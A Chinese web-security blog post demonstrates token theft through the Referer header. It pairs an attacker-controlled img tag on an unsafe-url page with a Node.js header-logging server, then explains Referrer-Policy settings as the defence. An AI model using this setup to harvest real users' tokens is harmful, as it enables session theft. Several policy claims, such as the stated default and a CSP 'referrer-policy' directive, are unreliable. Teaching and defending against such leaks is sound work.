数据包referer头中敏感信息的安全问题


title: 数据包referrer头中敏感信息的窃取
date: 2025-05-06 13:23:03
tags:

  • Referer-Policy
  • 信息泄露
    categories:
  • Web安全

前言

在我们日常漏洞挖掘的过程中,可能会碰见数据包中的referer带有一些信息的情况,如tokensessionid,keyphoneNumber等,对于这些信息,攻击者会如何去攻击获取呢?这里攻击者可以使用img标签去进行信息的窃取。

场景如下:

Aurl,其值为https://test.com/index.html?token=xxxxxx,当我们访问A时进入到的页面为BBhtml中有一个<img>标签,这个标签的src属性是我们可以随意控制的,且这个B页面启用了unsafe-url

默认情况下,unsafe-url是不启用的,不启用时默认referer的内容为协议、主机名和端口,不携带参数,这是Referrer Policy,后面我会提到。

真实环境场景:

一切<img>标签的src属性可控的点都有可能。

例如:

  • 论坛站点,用户的头像url可控,对应于img中的src可控。
  • 视频播放站点,存在评论区,用户头像url可控。

攻击场景演示

攻击效果: 受害者会带着自己的token,就是这里的A,访问到页面BB中的img标签的src属性我们可控,设置为攻击者监听数据包的脚本,监听的数据包中包含有敏感信息的referer,进而实现信息的窃取。

下面来演示一下敏感信息的窃取。

  • AURLhttp://127.0.0.1:3000/index.html?token=xxxxxx
  • B为这个index.html页面,其中img标签的src属性我们可控,其页面启用了unsafe-url

Bindex.html页面如下,其中的http://127.0.0.1:3001/logo.png为攻击者嵌入的监听数据包脚本。

<!DOCTYPE html>
<meta name="referrer" content="unsafe-url">
<html>
<head>
  <title>Logo</title>
</head>
<body>
  <h1>Logo Picture</h1>
  <img src="http://127.0.0.1:3001/logo.png" alt="Logo Picture">
</body>
</html>

这个http://127.0.0.1:3001/logo.png的后端nodejs脚本main.js如下:

const http = require('http');
const url = require('url');

const hostname = '0.0.0.0'; // 监听所有可用的网络接口
const port = 3001; // 您希望服务器监听的端口

const server = http.createServer((req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const pathname = parsedUrl.pathname;

  if (pathname === '/logo.png') {
    console.log('-------------------- 请求详情 --------------------');
    console.log(`请求方法: ${req.method}`);
    console.log(`请求 URL: ${req.url}`);
    console.log('请求头:');
    console.log(req.headers);
    console.log('--------------------------------------------------');

    res.writeHead(200, { 'Content-Type': 'image/png' });
    // 在这里您可以实际读取并返回一个 logo.png 文件
    // 为了演示,我们发送一个简单的透明像素 GIF
    const transparentPixel = Buffer.from('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7', 'base64');
    res.end(transparentPixel);
  } else {
    res.writeHead(404, { 'Content-Type': 'text/plain' });
    res.end('Not Found');
  }
});

server.listen(port, hostname, () => {
  console.log(`服务器运行在 http://${hostname}:${port}/`);
  console.log(`请访问 http://${hostname}:${port}/logo.png 查看请求详情。`);
});

攻击者在自己的vps上运行脚本main.js,受害者访问到的页面为``http://127.0.0.1:3000/index.html`。

本地使用python启动一个HTTP服务,模拟受害者访问的页面。

index.html同目录下执行命令python -m http.server 3000,此时攻击者node main.js启动监听脚本。

此时受害者访问到A,受害者的token成功被攻击者窃取。
请添加图片描述

再来看一下不启用unsafe-url的情况。

修改index.htmlindex2.html如下,切换为默认情况。

<!DOCTYPE html>
<!--<meta name="referrer" content="unsafe-url">-->
<html>
<head>
  <title>Logo</title>
</head>
<body>
  <h1>Logo Picture</h1>
  <img src="http://127.0.0.1:3001/logo.png" alt="Logo Picture">
</body>
</html>

此时访问http://localhost:3000/index2.html?token=xxxxx,这里发现referer中的token就会消失了。此处测试使用的浏览器为Chrome 135.0.7049.115(正式版本) (arm64)。出现这种情况是由于referrer-policy的关系。
请添加图片描述

Referrer-policy

介绍一下 referrer-policy。它是一个 HTTP 头部,用于控制在用户导航到其他网页时,浏览器在 HTTP 请求的 Referer 头部中发送哪些信息。Referer 头部包含了前一个页面的 URL,这对于分析用户来源、安全性和内容定制等方面非常有用。然而,出于隐私和安全考虑,开发者可能需要限制甚至完全阻止 Referer 信息的发送。referrer-policy 就是为了实现这种控制而生的。

为什么需要 referrer-policy

  • 隐私保护: 有些页面的 URL 可能包含用户的敏感信息(例如,会话 ID、用户名等)。不加限制地发送 Referer 可能会泄露这些信息给第三方网站。
  • 安全性: 恶意网站可能会利用 Referer 信息进行某些攻击,例如跨站请求伪造(CSRF)的变种。
  • 数据分析的精细化控制: 开发者可能希望更精确地控制哪些来源信息可以被分析工具收集。

referrer-policy 的取值

referrer-policy 头部可以设置多个不同的值,这些值定义了在不同场景下 Referer 头部应该如何发送。

以下是一些常见的取值及其含义:

  • no-referrer: 这是最严格的策略。无论在任何情况下,都不会发送 Referer 头部。
  • no-referrer-when-downgrade: 这是默认策略。只有在从 HTTPS 页面导航到 HTTP 页面时,才会不发送 Referer 头部。在其他情况下(例如,HTTPSHTTPSHTTPHTTPHTTPHTTPS),会发送完整的来源 URL。这个策略旨在防止 HTTPS 页面上的敏感信息通过不安全的 HTTP 连接泄露。
  • same-origin: 只有当目标网站与当前网站具有相同的源(协议、域名和端口都相同)时,才会发送完整的 Referer 头部。对于跨域请求,不会发送 Referer 头部。
  • origin: 在任何情况下,都会发送来源的协议和主机名(不包含路径和查询字符串)。例如,如果当前页面是 https://example.com/page.html,那么 Referer 头部的值将是 https://example.com/
  • strict-origin:origin 类似,但在从 HTTPS 页面导航到 HTTP 页面时,不会发送 Referer 头部。
  • origin-when-cross-origin: 对于同源请求,发送完整的 Referer 头部。对于跨域请求,只发送来源的协议和主机名。
  • strict-origin-when-cross-origin: 对于同源请求,发送完整的 Referer 头部。对于跨域请求,只发送来源的协议和主机名。并且在从 HTTPS 页面导航到 HTTP 页面时,不会发送 Referer 头部。
  • unsafe-url: 这是最宽松的策略。无论在任何情况下,都会发送完整的 Referer 头部,包括协议、主机名、路径和查询字符串。强烈建议避免使用此策略,因为它可能会暴露敏感信息。

如何设置 referrer-policy

设置 referrer-policy 有几种方式:

  1. HTTP 头部: 这是最常用和推荐的方式。服务器在 HTTP 响应头中添加 Referrer-Policy 字段并设置相应的值。例如:
Referrer-Policy: strict-origin-when-cross-origin
  1. HTML <meta> 标签: 在 HTML 文档的 <head> 部分使用 <meta> 标签设置 referrer-policy
<!DOCTYPE html>
<html>
<head>
    <meta name="referrer" content="strict-origin-when-cross-origin">
    </head>
<body>
    </body>
</html>
  1. HTML 元素的 referrerpolicy 属性: 为特定的 <a>, <area>, 和 <form> 元素设置 referrerpolicy 属性,覆盖全局设置:
<a href="https://example.com" referrerpolicy="origin">Visit Example</a>
<form action="https://anothersite.com" method="POST" referrerpolicy="no-referrer">
    </form>
  1. AJAX 中配置 referrer-policy: 对于通过 JavaScript 发起的 AJAX 请求:
  • 使用 fetch API:fetch 请求的配置对象中,使用 referrerPolicy 选项设置特定的策略。例如:

    fetch('/api/data', {
      method: 'GET',
      referrerPolicy: 'origin-when-cross-origin'
    })
    // ...
    

    此设置会覆盖全局的 referrer-policy

  • 使用 XMLHttpRequest: XMLHttpRequest 本身没有直接的 referrerPolicy 属性。你需要依赖全局的 referrer-policy 设置(HTTP 头部或 <meta> 标签)。

  1. 在内容安全策略 (CSP) 中配置 referrer-policy:

referrer-policy 可以作为 CSP 指令的一部分在 HTTP 响应头或 HTML <meta> 标签中设置。

  • HTTP 头部中的 CSP:
Content-Security-Policy: referrer-policy origin-when-cross-origin
  • HTML <meta> 标签中的 CSP:
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Security-Policy" content="referrer-policy origin-when-cross-origin">
</head>
<body>
    </body>
</html>

CSP 中设置 referrer-policy 会强制整个文档及其发起的请求遵循该策略,但会被更具体的设置(如 fetch API 中的 referrerPolicy 或 HTML 元素的 referrerpolicy 属性)覆盖。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

X2n.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值